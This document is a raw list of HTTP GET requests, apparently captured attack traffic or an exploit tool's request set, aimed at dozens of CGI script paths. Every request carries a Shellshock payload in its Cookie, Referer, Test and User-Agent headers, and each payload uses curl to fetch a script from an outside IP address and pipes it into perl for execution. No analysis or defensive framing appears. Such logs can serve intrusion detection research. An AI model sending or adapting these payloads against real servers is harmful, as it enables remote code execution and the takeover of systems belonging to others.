 u'GET /cgi-bin/replicator/webpage.cgi/HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/register.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ratlog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/r.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/quizme.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/quickstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/publisher/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/profile.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/probecontrol.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/powerup/r.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/postcards.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pollssi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/phf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pfdisplay.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pfdispaly.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/perlshop.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pbcgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pagelog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-publish.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nlog-smb.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/newsdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/netpad.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/netauth.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/myguestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/musicqueue.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mrtg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mojo/mojo.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/moin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mmstdod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mini_logger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/man.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/main_menu.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mailnews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/maillist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mail/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/magiccard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/MachineInfoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lwgate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lookwho.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/logit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/log-reader.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/lastlines.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/journal.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/jammail.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/infosrch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ImageFolio/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/imageFolio.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ikonboard/help.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/if/admin/nph-build.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
